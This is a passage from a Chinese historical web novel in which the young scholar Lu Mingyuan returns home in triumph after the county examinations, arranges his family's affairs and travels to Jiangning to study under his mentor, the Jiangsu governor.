陆明渊沉吟片刻,道。 “我正有此事相求。我想写一封信给老师,将此间之事详细告知,并请教老师下一步该如何行事。” “不知可否借用林家商队的渠道?” “这有何难!” 林天元一拍胸脯。 “我林家与二爷一直有专门的信使往来,消息传递极快。你尽管写,我保证用八百里加急,以最快的速度送到二爷手中!” 陆明渊点了点头,不再多言。 客栈的伙计很快送来了笔墨纸砚。 窗外是杭州府的万家灯火,窗内,少年伏案疾书。 他的字迹,一如他的人,清隽而有力。 信中,他并未因连中三元而有丝毫骄矜之气,也未因周泰的厚爱而沾沾自喜。 他只是客观地陈述了院试的结果、夸官的盛况,以及周泰的赏赐与安排。 最后,他询问了老师林瀚文的建议。 一封信写完,吹干墨迹,用火漆封好,郑重地交到了林天元手中。 林天元接过信,如获至宝,当即便唤来心腹,亲自嘱咐,务必以最快的速度,人歇马不歇,将信送到江苏巡抚衙门。 看着信使消失在夜色中,陆明渊心中却并未完全放下。 他又向店家要了一份笔墨,再次写了一封内容几乎一模一样的信。 做完这一切,他谢绝了林天元派人护送的好意,独自一人,再次走向了灯火通明的杭州府衙。 当衙役看到去而复返的陆明渊时,脸上满是惊讶,但随即化为了更深的恭敬,一路将他引至了周泰的书房外。 周泰显然也没想到陆明渊会回来,听闻通报后,亲自走出了书房。 “明渊?何事去而复返?” 月光下,陆明渊躬身行礼,将手中的信函双手奉上。 “府台大人,学生有一事相求。此乃学生写给恩师的信函,恳请大人能借用官方驿站的渠道,送往江苏。” 周泰闻言一愣,随即接过信函,看着上面熟悉的封印,他瞬间明白了陆明渊的用意。 他的眼中,欣赏之色更浓。 这少年,不仅有惊世之才,更有如此缜密沉稳的心思! 他知道林家的渠道虽快,但终究是私人的。 而动用官方驿站,这封信的意义便截然不同。 双管齐下,万无一失。 “哈哈哈……” 周泰忍不住朗声大笑起来,笑声中满是快慰。 “好一个陆明渊!你这心思,比衙门里那些混迹了半辈子的老吏还要周全!” 他拍了拍陆明渊的肩膀,郑重道。 “你不用说,本官也会这么做!瀚文兄将你托付于我,我自然要将一切办得妥妥当当。” “你放心,此信,本官会亲自加盖府衙大印,以八百里加急,发往江苏!” “多谢府台大人!” 陆明渊再次深深一揖。 “去吧,回去好生歇息,准备启程。江陵县那边,本官也会发去公文,让他们好生迎接你这位三元魁首!” “学生告退。” 处理完一切,陆明渊心中再无挂碍。 第二日清晨,陆明渊便和周泰安排的三百亲随,一起返回江陵县城。 …… 江陵县。 自陆明渊赴杭州参加院试之后,整个县城似乎都在一种焦灼而期待的氛围中等待着。 终于,在第三天的傍晚,一骑快马卷着烟尘,冲入了江陵县城。 “大捷!大捷!” “杭州府院试放榜!我县陆明渊,高中案首!” “三元魁首!是三元魁首啊!” 信使高亢的呼喊声,如同一道惊雷,瞬间引爆了这座宁静的小城! 整个江陵县,彻底沸腾了! “中了!真的中了!” “还是案首!天佑我江陵啊!” “三元魁首!我的老天爷,我们江陵县,要出一位状元郎了吗?” 无数人从家中、商铺中涌出,汇集到大街上,脸上挂着难以置信的狂喜。 这荣耀,不仅仅属于陆明渊,更属于整个江陵县! 县尊大人第一时间得到了消息,激动地当场打翻了茶杯。 他连官服都来不及整理,便匆匆赶往府衙,召集所有官吏,商议迎接事宜。 当杭州知府的正式公文,与天元的亲笔信一同送达。 县尊大人立刻下达命令。 “传令下去!全县官吏,三日后,出城十里相迎!” “发动全城学子,沿街恭贺!” “将城内主街,用清水洒扫三遍,铺上黄土!” “告诉城中所有商户,三日后,张灯结彩,燃放鞭炮,共贺我江陵麒麟儿,荣归故里!” 一连串的命令下去,整个江陵县衙门,以前所未有的效率运转起来。 …… 三日后。 陆明渊所在的队伍,缓缓出现在了江陵县的地平线上。 他还未看清城门,便被眼前的景象惊得怔住了。 只见前方官道之上,黑压压地站满了人。 为首的,正是江陵县县尊。 他身后,是县丞、主簿、典史……全县大大小小的官员,一个不落。 在官员的两侧,是数以百计的青衫学子,他们手持书卷,眼中闪烁着狂热的崇拜光芒。 更远处,是闻讯而来的百姓,人山人海,将道路挤得水泄不通。 “这……这是……” 陆明渊有些发懵。 护送他的亲随头领微微一笑,催马上前,朗声道。 “杭州府亲随,护送戊辰科院试案首,江陵县陆明渊,荣归故里!” 话音刚落,江陵县尊立刻带着众官吏,快步上前,对着陆明渊深深一揖。 “下官江陵县令,率全县官吏,恭迎陆案首衣锦还乡!” “恭迎陆案首!” 身后,数百名学子齐齐躬身,声浪震天。 紧接着,人群中爆发出雷鸣般的欢呼声与鞭炮声,噼里啪啦,响彻云霄。 林天元不知从何处笑着走了出来。 他身后,几名伙计牵着一匹头戴红绸、身披锦缎的高头大马,手中还捧着一件崭新的红袖袍。 “明渊,回来啦!” 林天元笑得合不拢嘴。 “杭州府的风光,咱们江陵县,也得有!” “快,换上吉服,上马!” 陆明渊哭笑不得,却也无法拒绝这份来自家乡的、最炙热的盛情。 他翻身下马,在众人的簇拥下,换上了那身象征荣耀的红袍,再次跨上了高大的骏马。 “三元魁首,陆明渊,夸官游街——!” 随着一声高亢的唱喏,早已准备好的仪仗队,敲锣打鼓,浩浩荡荡地向县城内行去。 这一次的游街,比之杭州府,少了几分官府的威严,却多了无数倍的亲切与热烈。 道路两旁,每一张面孔,都带着发自内心的喜悦与骄傲。 “看!是明渊!是陆家的那个小子!” “出息了!真是太出息了!咱们陆家村,飞出金凤凰了!” 陆明渊在人群中,看到了赵先生欣慰的泪光,看到了林远峰上蹿下跳、用力挥舞着手臂的兴奋模样。 他看到了福来客栈的掌柜,正指挥着伙计,向人群免费派发着喜饼。 他还看到了自己的父亲陆从文,和母亲王氏。 他们被人群簇拥在最前方,陆从文憨厚的脸上,笑得像个孩子,眼角却早已湿润。 而王氏,则用衣袖捂着嘴,泪水无声地滑落,那双温柔的眼眸里,盛满了十年的辛酸与此刻无尽的骄傲。 马背上的少年,看着这一切,眼眶也微微有些发热。 第119章 这不是骗人,这叫锦上添花! 骏马在人潮中缓缓前行,每一步都踏在江陵父老乡亲们用最淳朴的热情铺就的道路上。 道路两旁,无数张熟悉或陌生的面孔上,都洋溢着同一种神情——那是与有荣焉的骄傲,是发自肺腑的喜悦。 “明渊!是我们陆家村的明渊啊!” “好小子,给你爹娘长脸,给咱们整个江陵县都长脸了!” “以后我家那臭小子要是不好好读书,我就拿陆案首的事迹抽他!” 各种声音汇成一股暖流,涌入陆明渊的耳中,冲刷着他因连日奔波而略显疲惫的心神。 他看到了父亲陆从文,那个一辈子老实巴交的男人,那双饱经风霜的眼角,却早已被激动的泪水濡湿。 他看到了母亲王氏,她被几位邻家妇人簇拥着,用衣袖半掩着嘴。 那双曾为他熬夜缝补衣衫、为他典当嫁妆的温柔眼眸里,此刻盛满了十年辛酸尽去后的无尽骄傲与慰藉。 陆明渊在马上,对着父母的方向,郑重地、深深地躬身一揖。 这一拜,拜的是生养之恩,拜的是十年如一日的无悔支持。 游街的队伍,最终在林家府学的门前停了下来。 这里,是他读书生涯真正起步的地方。 赵先生早已等候在门口,看着那个身披红袍、意气风发的少年,眼中满是欣慰的泪光。 他仿佛又看到了多年前,那个衣衫洗得发白,却眼神清亮,捧着书卷向他请教的稚童。 “先生。” 陆明渊翻身下马,快步上前,对着赵先生行了弟子礼,一如往昔。 “好,好孩子,回来就好,回来就好啊!” 赵先生激动地扶起他,上下打量着,连声说道。 话音未落,府学之内,早已按捺不住的学子们如同潮水般涌了出来,瞬间将陆明渊围得水泄不通。 “陆师兄!给我们讲讲府试的盛况吧!” “师兄,你那篇策论到底写了什么,能让府台大人如此看重?” “陆案首,让我摸摸你的文曲星袖袍,沾沾文气!” 少年们眼中闪烁着狂热的崇拜,仿佛眼前的不是一个十岁的同窗,而是一尊活着的文曲星。 “好了好了!都像什么样子!” 林天元洪亮的声音响起,他从人群后方挤了进来,笑着驱散了众人。 “你们的陆师兄刚回来,一路劳顿,让他歇口气。以后有的是时间向他请教。” 他将激动的学子们劝开,然后转向陆明渊,眼中带着一丝郑重的请求。 “明渊,我知道你事务繁忙,但天元叔有个不情之请。” “天元叔但说无妨。” 林天元指了指府学内那面镌刻着历代优秀学子名录的影壁,说道。 “你此去江苏,前途不可限量。可否在临行前,为我林家府学留下一幅墨宝?” “一来,是为府学增光添彩;二来,也供后来的学子们瞻仰你的风采,以你为榜样,勤勉向学。” 陆明渊闻言,心中涌起一股暖意。 林家于他,有知遇之恩,更有倾囊相授之情。 林家藏书库,对他向来都是随时开放,许多林家嫡系都没有这个待遇。 这份恩情,他时刻铭记在心。 “天元叔言重了,此乃学生的本分。” 他没有丝毫推辞,欣然应允。 笔墨纸砚很快被摆在了府学正堂的八仙桌上。 周围的学子们屏息凝神,踮着脚尖,伸长了脖子,生怕错过任何一个细节。 陆明渊静立桌前,凝神片刻,提起狼毫。他蘸饱了墨,手腕轻悬,笔锋在雪白的宣纸上游走。 他的字,一如他的人,清隽中透着锋锐,沉稳中自有风骨。 众人只见笔走龙蛇,一行行诗句跃然纸上。 《秋闱抒怀》 金风动玉旒,墨涌九天秋。 笔掷三山外,文成五凤楼。 蟾宫初折桂,云路已驰骝。 莫道青衫薄,今朝第一流! 当最后一个“流”字落下,笔锋凌厉一收,满室寂静。 “好!” 不知是谁先喝了一声彩,瞬间引爆了全场。 “好一个‘莫道青衫薄,今朝第一流’!壮哉!壮哉我辈读书人!” “此诗一出,可为我江陵所有学子之座右铭!” 林天元看着那幅字,眼神炽热,仿佛看到的不是一首诗,而是一块预示着林家府学未来百年兴旺的里程碑。 …… 辞别了府学众人,陆明渊终于回到了那个熟悉的小院。 双魁楼和纺织铺的生意都交给了伙计,陆从文和王氏今日什么都没干,只为迎接儿子的归来。 王氏早已在厨房忙碌了半天,端上桌的,全是陆明渊从小最爱吃的菜。 一家人围坐在一起,没有了外界的喧嚣,气氛温馨而宁静。 陆明渊将院试的经过,周泰大人的赏识,以及三百亲随护送的荣耀,都细细地讲给父母听。 陆从文和王氏听得如痴如醉,脸上的笑容就没断过。 他们这辈子,做梦都没想到自己的儿子能有这般出息。 “我儿……我儿真是出人头地了!” 陆从文端起酒杯,手都在抖,一口饮尽,眼圈又红了。 王氏则不断地给陆明渊夹菜,嘴里念叨着。 “瘦了,在外面肯定没吃好,多吃点,多吃点。” 看着父母喜悦的样子,陆明渊心中温暖,但也知道,有些话必须说了。 他放下筷子,正色道。 “爹,娘,还有一件事。府台大人厚爱,已为我联系了恩师。” “接下来,孩儿将要动身,前往江苏省,在恩师林瀚文大人膝下求学。” “去江苏?” 陆从文和王氏脸上的兴奋之情,如同被一盆冷水浇下,瞬间消失得无影无踪。 取而代之的,是无尽的担忧。 江苏省,那有多远?隔着千山万水。 儿子才十岁,一个人去那么远的地方,怎么能让人放心? “明渊,那……那地方人生地不熟的,你一个人……” 王氏的声音里带上了哭腔。 陆明渊知道父母会是这个反应,他温声宽慰道。 “爹,娘,你们放心。恩师待我如子,绝不会让我受了委屈。” “再者,孩儿大了,总要出去闯荡一番。雏鹰羽翼丰满,岂能久居巢穴?孩儿保证,会时常给家里写信报平安的。” 他又从怀中取出一叠厚厚的银票,放在桌上。 “这是府台大人赏赐的五千两银子。孩儿此去江苏,路途遥远,花费也大,但带两千两足矣。” “剩下的这三千两,留给家里。爹娘操劳了半辈子,也该享享清福了。” 三千两! 陆从文和王氏看着那叠银票,眼眶红润。 如果有的选,他们宁愿不要这笔钱,也想让陆明渊留在身边! 儿子的孝心和决绝,让他们明白,此事已无更改的余地。 看着父母依旧忧心忡忡的脸,陆明渊知道,必须为他们安排好一切,让他们安心。 他转向父亲陆从文,说道。 “爹,关于双魁楼的生意,孩儿有几句话想叮嘱您。” “你说,爹听着。” 陆从文连忙正襟危坐。 “我们做的是餐馆生意,最根本的,是两个字——良心。” “食材要新鲜,分量要足,口味要好,价格要公道。” “只要做到这几点,生意就差不了。” “如今孩儿薄有微名,双魁楼的名头已经打响,赚钱是轻而易举之事。” “但越是如此,越不能懈怠。您要做的,就是严格把控菜品的质量,万万不能因为生意好了,就砸了自己的招牌。” 陆从文听得连连点头,这些都是他懂的道理,儿子说得明白,他心里也有了底。 “放心吧,明渊,爹知道怎么做,绝对不会给你丢人!” 叮嘱完父亲,陆明渊又看向母亲王氏。 “娘,您的纺织铺,孩儿也有些想法。” “你说!” 王氏好奇地看着他。 “纺织刺绣这些,专业的东西孩儿不懂。但孩儿想说的是后续的售卖。” “咱们的布匹、绣品,质量是江陵县最好的,但光好还不够。娘,您要学会给咱们家的东西,编故事。” “编故事?” 王氏有些发懵。 “对。” 陆明渊耐心地解释道。 “比如说,一块云锦,您可以说,这是咱们铺子里手艺最好的王大娘,她年轻时曾是江南织造府的绣娘。” “这幅图案的灵感,来自她少女时的一个梦。” “再比如一幅双面绣,您可以说,这上面的鸳鸯,是绣娘为了祈祷远行的丈夫平安归来,一针一线绣了三个月才完成的。” “无论是技师的过往,还是图案的创意,无论是什么,都要给它加上一些额外的价值。” “这……这不是骗人吗?” 王氏有些迟疑。 “娘,这不是骗人,这叫锦上添花。” 陆明渊笑道。 “同样的东西,有故事的和没故事的,在客人心里分量是完全不一样的。这能让咱们的东西,卖得更好,也卖得更有格调。” 王氏虽然听得一知半解,但大致明白了儿子的意思,她若有所思地点了点头:“好,娘试试。” 看着父母都领会了自己的意思,陆明渊心中稍定,他提起了最后一件,也是他最挂心的一件事。 “爹,娘,还有关于明泽的事。” 提到三岁的小儿子,陆从文和王氏的脸上都露出了慈爱的笑容。 陆明渊继续说道。 “明泽天赋过人,聪慧异常,赵先生也对他极为看好,只是孩儿走后,家中无人能系统地教导他。” “我的意思是,可以正式拜了帖子,将赵先生请到家里来居住,专门做明泽的启蒙先生,束脩我们按最高规格的出。” “一来,可以报答先生对我的教导之恩;二来,也能让明泽从小打下最坚实的基础。” “等到他年岁再大一些,就送去林家府学。我与林家关系匪浅,他们一定会重点培养明泽的。” 这一番安排,思虑周全,面面俱到,既顾及了弟弟的前程,又报答了恩师的情分,还为家族的未来铺好了路。 陆从文和王氏听完,怔怔地看着自己的儿子。 他们知道,他们的儿子,真的长大了。 江陵县这座小小的池塘,已经容不下他这条即将腾飞的蛟龙了。 心中的担忧,渐渐被一种更深沉的骄傲与期盼所取代。 “好,都听你的。” “你放心去闯,家里有我,有你娘,还有你弟弟,我们都好好的,等着你……等着你将来,名动京城!” 第120章 护您周全是职责所在! 接下来的十余日,是陆明渊穿越以来,最为安逸宁静的一段时光。 小院里,再没有了朗朗的读书声,取而代之的,是三岁陆明泽含糊不清的咿呀学语,和追逐着蝴蝶的咯咯笑声。 王氏不再需要天不亮就起身纺纱织布,她将所有心思都放在了厨房的方寸灶台之间。 她变着花样为长子调理着身子。 陆从文也放下了双魁楼的掌柜架子,每日只是守在家里,时而劈柴,时而修葺着院墙。 只是目光却总是不自觉地飘向那个坐在廊下,静静看着弟弟玩耍的儿子身上。 那是一种复杂难言的眼神,有为人父的无上骄傲,有对未来的无限憧憬。 但更多的,是一种深沉的、即将离别的不舍。 第十一日清晨,一只信鸽落在了陆家小院的枝头,打破了这份宁静。 信是林家商队从省城加急送来的,来自江苏巡抚,林瀚文。 信上的字迹苍劲有力,一如其人,沉稳中透着威严。 信中内容言简意赅,林瀚文已为他安排好了一切,让他不必急于赶路,先去杭州府寻周泰大人,周大人会派亲卫护送他前往江苏。 言辞之间,是长辈对晚辈的殷切关怀。 “爹,娘,恩师来信了。” 陆明渊将信递给父母,声音平静,“孩儿后日,便启程前往杭州府。” 终究还是要走了。 陆从文和王氏的眼神瞬间黯淡了下去。 尽管早已做好了心理准备,但当这一刻真正来临时,那份离愁别绪还是如潮水般涌上心头。 王氏的眼圈一下子就红了,她转过身,用袖子擦了擦眼角,声音有些哽咽。 “好……好,娘这就去给你收拾行李。” 陆从文沉默着接过信纸,那双粗糙的大手微微颤抖,他一个字也看不进去,满脑子都是儿子孤身远行的画面。 他张了张嘴,想说些什么,最终却只是化作一声沉重的叹息:“路上……万事小心。” 做父母的,能做的,便是在他展翅高飞前,为他准备好一切。 接下来的两日,整个小院都笼罩在一种忙碌而压抑的离愁之中。 王氏将早已备好的四季衣物,一件件拿出,反复检视,又一件件叠好放入行囊,仿佛要将自己所有的牵挂与叮咛,都缝进那细密的针脚里。 出发前一日,陆明渊去了翰墨轩。 林远峰早已在店里等他,见他进来,立刻屏退了伙计,将他引至后堂。 “明渊,你这就要走了?” 林远峰的脸上,写满了少年人最真挚的不舍。 “嗯。” 陆明渊点了点头,从随身的布包里,取出厚厚一沓稿纸,放在桌上,那稿纸堆起来足有半尺高。 “这是……” 林远峰的眼睛瞬间亮了。 “《石猴传》后续的五十万字存稿。” 陆明渊的声音依旧平静。 “我此去江苏,山高水远,不知何时才能再见。这些存稿,足够翰墨轩支撑很长一段时间了。” “后续的稿子,我会通过林家往来江苏的商队,随书信一同寄回。” “至于稿费,也劳烦远峰兄,通过江苏的林家商会结算给我便可。” 五十万字! 林远峰看着那座“纸山”,呼吸都有些急促。 他深深地吸了一口气,压下心中的激动,从柜子里取出一个沉甸甸的钱袋,推到陆明渊面前。 “明渊,这是五千两银票。我知道,这五十万字远不止这个价,但这算是我预支给你的稿费。 “你初到江苏,人生地不熟,万事都需要打点,钱财上万万不能短缺。这份心意,你必须收下!” 陆明渊没有推辞。 他知道林远峰的性格,更明白自己接下来的处境。 恩师虽会照拂,但寄人篱下,终究不如自己手有余钱来得方便。 他坦然收下银票:“多谢远峰兄,那我就却之不恭了。” 这份干脆,反倒让林远峰更加欣赏。 两人相视一笑,一切尽在不言中。 少年之间的友谊,有时就是这般简单纯粹,无需多言。 两天后,晨光熹微。 陆明渊一身青衫,背着行囊,站在了小院门口。他身后,是林家商队派来接他的马车。 陆从文、王氏,还有被母亲抱在怀里,睡眼惺忪的陆明泽,都来为他送行。 没有太多的话语,只有王氏一遍又一遍地叮咛:“在外要照顾好自己,按时吃饭,天冷了要加衣……” 陆明渊一一应下,然后,他郑重地跪倒在地,对着父母,磕了三个响亮的头。 “爹,娘,孩儿不孝,不能在膝下承欢,你们多保重身体。” “快起来,快起来……” 王氏早已泣不成声,上前将他扶起。 陆从文虎目含泪,拍了拍儿子的肩膀,千言万语,只化作两个字:“去吧。” 陆明渊最后看了一眼小院,看了一眼双鬓已染上风霜的父母,毅然转身,登上了马车。 车轮滚滚,碾过清晨的石板路,渐行渐远。 马车行了三天,熟悉的江陵县城被远远抛在身后,繁华的杭州府城郭已然在望。 陆明渊没有耽搁,直接让车夫将他送到了知府衙门。 递上名帖,很快便被请了进去。 府衙后堂,周泰早已等候多时。他看着眼前这个比上次见面时又长高了一些的少年,眼中满是欣赏。 “明渊来了。” 周泰的语气温和,像是在和自家的子侄说话。 “林巡抚的信,我已收到。你此去江苏,路途遥远,山水迢迢,路上恐有不靖。我已为你备下一百亲卫,护你周全。” 一百亲卫! 陆明渊心中微动,这已然是极高的规格了。 他躬身行礼:“多谢府台大人厚爱。” “不必多礼。” 周泰摆了摆手。 “你是我杭州府走出去的麒麟儿,也是林巡抚看重的人才,护你周全,是我的分内之事。” 很快,一百名身着玄甲、腰佩长刀的亲卫军便在府衙前集结完毕。 他们身形彪悍,气息沉凝,目光锐利如鹰,显然都是军中精锐。 为首的统帅,是一个年约三十,面容黝黑,神情坚毅的汉子。 看到一个十岁的少年,竟要由他们百人护送,这些见惯了生死的军士眼中,都闪过一丝惊异。 陆明渊没有在意他们的目光,再次向周泰辞谢后,便在亲卫的簇拥下,踏上了前往江苏的漫漫长路。 从杭州到江苏省城,足足有六百里路。 这十余日的行程,对陆明渊而言,是一场前所未有的历练。 他不再是坐在马车里安逸赶路的书生,而是与这一百亲卫同吃同住,风餐露宿。 他看到了大乾王朝最真实的模样。 有阡陌交通、鸡犬相闻的富庶村落,也有茅屋低矮、面有菜色的贫瘠之地。 他听着这些军士们用粗犷的嗓音,谈论着边疆的烽火,谈论着家中的妻儿,谈论着最朴素的爱憎。 这些都是书本上永远无法学到的东西。 他的心,在行走中变得更加开阔,他的目光,也因见识了真正的天地而变得更加深邃。 十余日后,一座雄伟的城池,终于出现在了地平线的尽头。 江苏省城,江宁府。 这座曾经的古都,远比杭州府更加恢宏、更加繁华。 城墙如山峦般连绵,护城河宽阔如江,街市上车水马龙,人声鼎沸,处处都彰显着江南首府的无尽气派。 亲卫队出示了路引和杭州府衙的公文,城门守卫不敢怠慢,立刻放行。 一行人穿过繁华的街道,径直来到了巡抚衙门前。 那座衙门,门前两尊巨大的石狮威严肃穆。 朱红的大门上,悬挂着“江苏巡抚”的烫金牌匾,一股森严的官威扑面而来。 “陆案首,我等奉命将您送到,便要回杭州复命了。” 为首的亲卫统帅对着陆明渊一抱拳,沉声说道。 “有劳诸位一路护送,辛苦了。” 陆明渊温和一笑,从怀中取出一叠银票,约有六百两,递了过去。 “这点银子,不成敬意,还请统帅代为收下,请兄弟们喝杯水酒,聊作犒劳。” 那统帅一愣,随即脸色一正,断然拒绝。 “陆案首,万万不可!我等奉命行事,护您周全是职责所在,岂能收您的银子!” “统帅此言差矣。” 陆明渊的笑容不减,语气却多了一份不容置疑的诚恳。 “公是公,私是私。奉命护送是公,我陆明渊聊表谢意是私。” “诸位大哥一路风餐露宿,尽心尽力,这份情谊,明渊记在心里。” “这并非贿赂,只是我个人的一点心意,与公事无涉。” “统帅若是不收,便是看不起我这个年岁小的读书人了。” 一番话说得合情合理,既给了对方面子,又表明了自己的立场。 那统帅看着眼前的少年,眼神中闪过一丝惊异与赞许。 他本以为这只是个受上官青睐的文弱书生,却不想其行事如此老练通达,毫无骄矜之气。 他沉默片刻,终究还是接过了银票,抱拳道:“既然如此,那杜某便代兄弟们,谢过陆案首了。” 他顿了顿,似乎是想起了什么,继续说道。 “陆案首,我叫杜文远,乃是边军出身。在这江宁城里,也有些过命的兄弟。” “您初来乍到,日后若遇到什么官面上不好解决的麻烦,可以去城东的‘陈家车马行’,找一个叫陈老三的人。” 说着,他从怀中摸出三枚样式古朴的黑色箭矢头,递给陆明渊。 “陈老三是我曾经的生死之交,如今在江宁府的黑白两道颇有些势力。” “您把这个交给他,就说是我杜文远的朋友,他自会明白,定能帮您解决不少麻烦。” 陆明渊心中一凛。他知道,这份人情,远比那六百两银子要贵重得多。 这是杜文远对他方才那番举动的认可,也是一个边军老卒最实在的回报。 他没有矫情,郑重地收下三枚箭矢头,对着杜文远深深一揖。 “多谢杜大哥,这份情,明渊记下了。” “陆案首客气。” 杜文远咧嘴一笑,露出一口白牙,那张黝黑坚毅的脸上,多了一丝真诚的笑意。 “后会有期!” “后会有期!” 目送着杜文远率领一百亲卫策马远去,直至消失在长街的尽头,陆明渊才缓缓收回目光。 他转过身,抬头望向那座气势恢宏的巡抚衙门,整了整衣衫,深吸一口气,迈步走上了那高高的石阶。 第121章 上一个,还是前朝的张阁老! 石阶九十九级,青石铺就,被岁月与无数官靴打磨得光滑如镜。 倒映着天光云影,也倒映着少年人平静而坚定的脸庞。 衙门前的两尊石狮,目光炯炯,无声地诉说着此地的威严与权柄。 身着号服的衙役见他独自一人前来,本想上前盘问。 目光触及他身上那件看似普通却质料上乘的青衫,以及那份远超同龄人的沉静气度,便多了一份审慎。 “在下陆明渊,自杭州而来,求见巡抚大人。” 陆明渊递上名帖,声音清朗,不卑不亢。 那衙役听到“陆明渊”三字,神情陡然一变,眼中闪过一丝惊异与恭敬。 显然,这个名字,在这座衙门里早已不是秘密。 他不敢怠慢,连忙躬身道:“陆案首稍待,小的这就去通报。” 门童一路小跑进了那深邃的仪门,不过片刻功夫,便引着一位身着青色官袍的中年文士快步走了出来。 那文士约莫四十岁年纪,面容儒雅,步履沉稳,双目之中透着一股精明干练。 行走之间,官袍下摆微微拂动,自有一番气度。 他目光如电,第一时间便落在了陆明渊的身上。 视线在他腰间那枚温润的血沁竹心佩上微微一顿,眼神瞬间变得热切起来。 那玉佩是林瀚文当初所赠,乃是其师门信物,见玉佩如见其亲传弟子。 “可是明渊当面?” 文士脸上露出温和的笑容,快步上前,主动拱手道。 “在下沈文龙,乃是抚台大人的幕僚,在此恭候多时了。” 陆明渊心中微动,他知道巡抚幕僚,尤其是能被派来迎接自己的心腹,在衙门里的地位非同小可。 他连忙还礼:“晚生陆明渊,见过沈先生。” “哎,当不得先生二字,你我以表字相称即可。” 沈文龙扶住他的手臂,上上下下地打量着他,眼中满是毫不掩饰的欣赏与赞叹。 “早就听闻大人对你赞不绝口,说你是百年难得一见的麒麟儿。” “我初时还有些不信,毕竟年仅十岁,便能在文风鼎盛的浙江省连中三元,这等壮举,实在是匪夷所思。” “今日一见,方知大人所言不虚,这份气度,这份沉稳,果然是英雄出少年啊!” 他的热情,几乎有些超乎寻常,让陆明渊都感到了一丝意外。 沈文龙似乎也察觉到了自己的失态,他朗声一笑,带着几分歉意解释道。 “明渊勿怪,实在是文龙对你那篇《漕海之争》的策论,佩服到了五体投地!” “那篇文章,我曾有幸拜读过抚台大人誊抄的稿子,当真是字字珠玑,振聋发聩!” “不仅将那困扰朝堂数十年的漕海利弊,剖析得淋漓尽致,更提出了‘体用’之说,为我大乾开辟了一条经世济民的全新思路。” “每每思及,都忍不住心潮澎湃,恨不能与你当面对谈一番。今日得见真人,一时情难自禁,倒是唐突了。” 原来如此。 陆明渊心中了然。 对于沈文龙这等真正懂行的政坛中人而言,一篇能够直指时弊、并给出可行之道的策论,其分量远比“三元及第”的虚名要重得多。 那是真正能够改变国朝命运的力量。 “沈先生谬赞了,晚生不过是纸上谈兵,拾人牙慧罢了。” 陆明渊谦逊道。 “这可不是拾人牙慧。” 沈文龙摇了摇头,神情郑重。 “此乃大道之言。好了,此地不是说话的地方,抚台大人早已等着了,我先带你进去。” 说罢,他亲切地侧过身,引着陆明渊穿过仪门,向着衙门深处走去。 巡抚衙门内部,远比外面看起来更加深广。 层层叠叠的院落,如同一幅徐徐展开的画卷,将凡尘的喧嚣隔绝在外,只余下权力的静谧与威严。 飞檐斗拱,雕梁画栋,每一处细节都彰显着江南首府的富庶与朝廷的体面。 沈文龙一边走,一边为陆明渊介绍着衙门内的各处建筑与职能,言语间颇为熟稔,显然是此地的核心人物。 最终,两人来到了一处幽静的院落前。 院内栽种着几竿翠竹,一座雅致的书房坐落其中。 沈文龙停下脚步,轻声道:“明渊,抚台大人正在处理紧急公务,你且在此稍候片刻,我去去就来。” “有劳沈先生。” 陆明渊点头应道。 沈文龙推门而入,陆明渊则静立于廊下,打量着眼前书房。 这一等,便是半个时辰。 陆明渊没有丝毫的不耐,他知道,身为一省封疆,林瀚文日理万机,半个时辰不过处理一府政务。 又是一炷香后,书房内传来一阵爽朗的笑声。 紧接着,房门被从内推开。 一个身着绯色官袍,身形高大,面容清癯,颌下留着三缕美髯的中年人,在沈文龙的陪同下走了出来。 正是江苏巡抚,林瀚文。 “哈哈哈,明渊,你可算来了!” 林瀚文一见到陆明渊,便放声大笑,眼中满是毫不掩饰的欣赏与满意。 “好,好啊!比为师预想的还要出色!浙江省的三元及第,这名头,可是沉甸甸的。” “想我大乾开国以来,能在浙江这等文华之地拿下三元的,你是第二个。” “上一个,还是前朝的张阁老啊!” “为师本以为你府试夺魁已是极限,没想到你竟能一鼓作气,再下院试头名,可见你这段时日,并未有丝毫懈怠,勤学不辍,很好!” 这番夸赞,分量极重。 将一个十岁少年与一代名相相提并论,这若是传出去,足以震动整个江南士林。 陆明渊心中虽有波澜,面上却依旧平静。 他上前一步,整理衣冠,对着林瀚文郑重地躬身下拜,行了拜师大礼。 “弟子陆明渊,拜见恩师。” 他的声音不大,却字字清晰,动作一丝不苟,气度风范,从容得体,全然不像一个初入官宦门庭的少年郎。 林瀚文眼中的满意之色更浓,他含笑上前,亲手将陆明渊扶起。 “好孩子,不必多礼。你我师徒,今后不必拘于这些虚礼。” 行过礼,陆明渊从随身的行囊中,取出一个精致的紫檀木盒,双手奉上。 “恩师,这是家母为您准备的一点薄礼,聊表心意,还望恩师不要嫌弃。” 林瀚文微微一怔,随即笑着接过,他本以为会是什么名贵文玩,却不想打开木盒,里面静静躺着的,竟是一方月白色的丝帕。 丝帕之上,用双面绣的针法,绣着一幅“锦鲤跃龙门”的图样。 那锦鲤通体赤金,鳞片在光线下闪烁着细碎的光芒,仿佛活物一般,正奋力向上,冲击着那云雾缭绕的龙门。 针脚之细密,配色之精妙,意境之高远,皆是上上之选。 饶是以林瀚文的眼界,也不由得眼前一亮,赞道。 “好精湛的苏绣!这平针走线,已臻化境,你母亲当真是一位奇女子。” 他看得出,这方丝帕,绝非凡品,乃是不可多得的精品。 但更让他看重的,是这份礼物背后,陆明渊父母的那份淳朴而真挚的心意。 “家母曾是大家闺秀,只是后来……总之,这份心意,比什么千金之物都来得贵重。” 陆明渊轻声解释道。 “为师明白。” 林瀚文郑重地将木盒盖好,交予身后的沈文龙。 “文龙,将此物好生收起。” 他转过头,温和地看着陆明渊,道。 “你远道而来,一路辛苦。为师已经为你安排好了住处。” “那是一座朝廷赐下的宅子,三进三出,颇为宽敞。除了为师的院子,其余的房间和书房,你可随意挑选一处住下。” “从今日起,你便与我同住,白日里你可自行温书,待为师每日处理完公务,便会亲自考教你的文章,为你解惑。” 与封疆大吏同住,日日接受其亲自教导,这等待遇,便是京中的皇子,也未必能够拥有。 这代表着,林瀚文是真正将他视作衣钵传人,要倾尽心力来培养了。 陆明渊心中涌起一股暖流,他再次深深一揖:“弟子,谢过恩师栽培。” 林瀚文摆了摆手,沉声道! “来了这里,学问压力比之浙江,更盛!” “你可要做好准备!” 第122章 权力越大,责任越重 “住处是小事,你的学业才是大事。明渊,你虽在浙江连中三元,但那毕竟是浙江的功名。” “如今你既到了江宁府,自然要入江苏省的贡院求学,以备来年的会试。” 陆明渊心中一动,他自然明白这其中的关窍。 科举功名,地域之见极重,一省的文宗,通常只认本省的学子。 果然,林瀚文接着说道。 